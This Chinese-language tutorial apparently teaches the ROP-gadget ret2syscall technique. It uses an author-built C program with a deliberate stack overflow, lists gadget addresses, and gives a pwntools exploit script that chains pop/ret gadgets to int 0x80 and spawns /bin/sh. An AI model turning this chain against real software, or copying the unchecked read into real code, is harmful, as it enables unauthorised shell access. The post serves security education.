天天看点

ropgadgets与ret2syscall技术原理

程序:

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}
           

很容易看出func存在溢出

liunx上面的系统调用原理

eax 系统调用号
ebx 第一个参数
ecx 第二个参数
edx 第三个参数
esi 第四个参数
edi 第五个参数
int 0x80
           

我们利用上面的溢出和根据ropgadgets与ret2syscall技术原理去执行

execve("/bin/sh",null,null); ,

所以eax就存放execve函数的系统调用号11,ebx存放第一个参数/bin/sh,ecx存放第二个参数null,就是0,edx存放第三个

eax=11 0xb
ebx="/bin/sh"的地址
ecx=0
edx=0
           

编译

gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
gdb 7.exe
start
           

static:静态编译,这样有指令流序列

ropgadgets与ret2syscall技术原理

找到溢出点:

ropgadgets与ret2syscall技术原理
ropgadgets与ret2syscall技术原理

在44溢出

利用ropgadget找指令地址

利用溢出把函数execve需要的参数压入栈中,压入栈中之后,这个时候我们就需要找指令地址,利用ret、push、pop这些指令把值赋值到相应的寄存器中

找指令流中包含pop和ret的,还必须有eax,我们用:0x080aaa06

ropgadgets与ret2syscall技术原理

地址:0x0806f711

ropgadgets与ret2syscall技术原理

/bin/sh地址:0x080ae008

ropgadgets与ret2syscall技术原理

int 0x80地址:0x0804a3d2

ropgadgets与ret2syscall技术原理

poc和解释

from pwn import *
context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06)
value_eax=p32(0xb)
add_edx_ecx_ebx=p32(0x0806f711)
value_ebx=p32(0x080ae008)
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2)
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
pid=proc.pidof(p)
print pid
pause()
p.sendline(payload)
p.interactive()
           

解释一下:

溢出44,所以我们用44个0x90填充,add_eax是pop eax ; ret 这段程序的地址, 当执行func函数的ret语句时会,eip为这个地

执行pop eax ; ret 这两条语句,pop eax,此时栈顶值只要时调用execve函数调用号,我们就成功把调用号复制给eax,eax

所以后面加了value_eax 。

执行完pop eax ,栈顶的值是add_edx_ecx_ebx ,也就是下面程序的地址

pop edx ;
pop ecx ;
pop ebx ;
ret
           

执行ret,我们到这段程序执行,此时栈顶的值是value_edx ,执行pop edx ; ,value_edx到edx中了,后面指令依次类推,执

栈顶的值是: add_int ,也就是int 0x80 的首地址,执行完ret,我们到这里执行,成功调用execve函数

执行poc,成功:

ropgadgets与ret2syscall技术原理

总结

这个思想大致是在一个程序中,找出我们需要的语句,然后利用溢出,构造数据,把数据打入栈中·,然后利用pop、push、ret语句,将这些数据传入到相应的寄存器,然后让程序去执行这些语句,相当于我们在

一些语句,让程序不按照原来的步骤执行,去执行我们找出来的语句。

这里面关键的技术是保证堆栈平衡,把参数放到指令流需要的地方。这是ropgadgets技术的精髓

PWN